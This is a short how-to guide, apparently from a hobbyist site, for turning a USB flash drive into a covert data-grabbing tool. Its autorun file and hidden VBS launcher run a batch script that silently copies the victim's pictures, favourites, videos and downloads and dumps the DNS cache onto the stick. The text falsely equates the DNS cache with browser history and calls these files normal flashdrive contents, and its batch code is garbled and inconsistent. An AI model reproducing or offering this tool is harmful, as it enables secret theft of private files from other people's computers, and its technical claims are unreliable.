Introduction: How to Copy Browser History With an USB Flashdrive

How To Copy Browser History with an USB Flashdrive...

We are going to make an normal Flashdrive, but in de coding we add something new.

Supplies:

-An USB Stick

-An Machine (also called a computer)

First of all, you have to know what an Flashdrive is.

"A flash drive is a small, ultra-portable storage device which, unlike an optical driveor a traditional hard drive, has no moving parts. Flash drives connect to computers and other devices via a built-in USB Type-Aplug, making a flash drive a kind of combination USB device and cable."

Step one:

Open Notepad and copy-paste the lines for an Flashdrive:

[autorun]

icon=drive.ico open=launch.bat action=Click OK to Run shell\open\command=launch.bat Save this as autorun.inf

Save this as autorun.inf

Step two:

Open Notepad again and copy-paste the usual lines for an Flashdrive:

@echo off

:: variables /min SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo off %backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics" %backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites" %backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids" @echo off cls

Save this as file.bat

This file is configured to copy the contents of the current users pictures, favorites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy.

Step three:

Open Notepad once again and copy-paste the following line.

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Save this as invisible.vbs.

This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.

Step four:

Open Notepad and copy-paste the following line.
wscript.exe \invisible.vbs file.bat

Save this as launch.bat

This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.


Step 5:

This was all an normal protocol for an Flashdrive, but now where going to add something differlently.

Add: ipconfig /displaydns > E:\ any destination

To:

@echo off
:: variables /min SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo off %backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics" %backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites" %backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids" @echo off cls

On the end you will have this:

@echo off
:: variables /min SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo off ipconfig /displaydns > E:\ Any destination %backupcmd% "%USERPROFILE%\My Pictures" "%drive%\all\My pictures" %backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites" %backupcmd% "%USERPROFILE%\Downloads" "%drive%\all\Downloads" %backupcmd% "%USERPROFILE%\My Data Sources" "%drive%\all\My Data Sources" @echo off cls

ipconfig /displaydns shows the browser history, but this is not enough. You want to have your browser history in an file. So create an notepad file called:

History.txt

When did this switch Any Destination with :

all\history.txt

Step 6:

Copy all 4 files created in the above steps and put it on the root of the Flash drive and make an folder of it called: DRIVE.

Also create a folder named “all” where the contents are to be copied automatically. Put in the folder called "all" just an normal notepad document called:

History.txt

When you used the Flashdrive and you want to see the browser history you only have to open the file called "History.txt".

This is all that needs to be done. Test the Flashdrive first o your own computer.

You have questions? Just ask them bellow.

L.P.Rodenburg CopyRight